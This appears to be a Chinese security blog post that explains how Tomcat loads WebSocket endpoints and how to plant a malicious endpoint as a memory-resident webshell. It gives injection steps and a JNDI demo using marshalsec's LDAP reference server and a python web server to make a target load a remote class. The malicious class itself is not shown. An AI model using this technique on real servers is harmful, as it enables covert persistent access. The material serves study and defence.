WebSocket

0x01 WebSocket

WebSocket是一种全双工通信协议,即客户端可以向服务端发送请求,服务端也可以主动向客户端推送数据。这样的特点,使得它在一些实时性要求比较高的场景效果斐然(比如微信朋友圈实时通知、在线协同编辑等)

建立WebSocket连接的服务器端和客户端,两端对称,抽象成API,就是一个个Endpoint。服务器端的叫 ServerEndpoint,客户端的叫 ClientEndpoint。客户端向服务端发送WebSocket握手请求,建立连接后就创建一个ServerEndpoint对象

0x02 Implementation By Tomcat

两种实现方式:

  • @ServerEndpoint注解方式

  • 继承抽象类Endpoint

import javax.websocket.*;
import javax.websocket.server.ServerEndpoint;

@ServerEndpoint(value="/websoket")  //value指定一个URI路径标识一个Endpoint
public class WebSocket{
    private Session session;

    @OnOpen  //建立连接时触发
    public void start(Session session) {
        this.session = session;
        this.session.getAsyncRemote().sendText("websocket start");
    }

    @OnClose  //关闭连接时触发
    public void end() {
        System.out.println("websocket close");
    }

    @OnMessage  //接收到消息时触发
    public void incoming(String message) {
        this.session.getAsyncRemote().sendText("websocket received: "+message);
    }

    @OnError  //发生异常时触发
    public void onError(Throwable t) {
        System.out.println("websocket error");
    }
}

若使用继承抽象类Endpoint的方式,需要自己实现MessageHandler(处理消息)和 ServerApplicationConfig(处理URL映射)

Tomcat通过 org.apache.tomcat.websocket.server.WsSci 专门对 websocket 进行初始化以及加载,该类实现了接口javax.servlet.ServletContainerInitializer。然后再扫描classpath下带有@ServerEndpoint注解的类进行addEndpoint加入websocket服务。

org.apache.tomcat.websocket.server.WsSci#onStartup

image-20230205153138633

扫描处理三种类,还定义了三个Set来存放扫描到的这三种类

  • ServerEndpoint注解类

  • ServerApplicationConfig实现类

  • Endpoint子类

init创建WsServerContainer,往ServletContext添加WebSocket相关Listener

image-20230205152350964

WsServerContainer的构造函数往ServletContext添加WsFilter来处理websocket请求

当服务器接收到来自客户端的请求时,首先WsFilter会判断该请求是否是一个WebSocket Upgrade

求(含Upgrade: websocket头字段)。若是则根据请求路径查找对应的Endpoint处理类。

image-20230205153507605

随后扫描到我们自定义的ServerEndpoint,将其添加到scannedEndpointClazzesscannedPojoEndpoints

image-20230205153929536

又定义了两个集合filteredEndpointConfigsfilteredPojoEndpoints

通过addEndpoint添加Endpoint到WsServerContainer容器中

image-20230205154357724

接着定义了一个ServerEndpointConfig,获取URL路径(即@ServerEndpoint的value字段)

image-20230205154748721

构建完ServerEndpointConfig,再次调用addEndpoint

image-20230205154927689

PojoMethodMapping获取定义的OnOpen等方法

image-20230205155131105

UriTemplate对URL进行重复检查,将path和ServerEndpointConfig放入ExactPathMatch

image-20230205155423852

0x03 Inject WebSocket Endpoint

  • 获取StandardContext

  • 获取WsServerContainer

  • 创建恶意ServerEndpointConfig

  • 调用addEndpoint

可以通过JNDI注入、反序列化等将内存马打进去

下面用JNDI注入做演示:

  • 编译上面的MySocket.java

  • MySocket.class目录下起web服务python -m http.server 9999

  • marshalsec开启ldap服务java -cp .\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:9999/#MySocket 8099

  • 搭建JNDI注入环境

image-20230205172249712
image-20230205172421582

参考:

websocket内存马 | Y0ng的博客 (yongsheng.site)

Last updated

Was this helpful?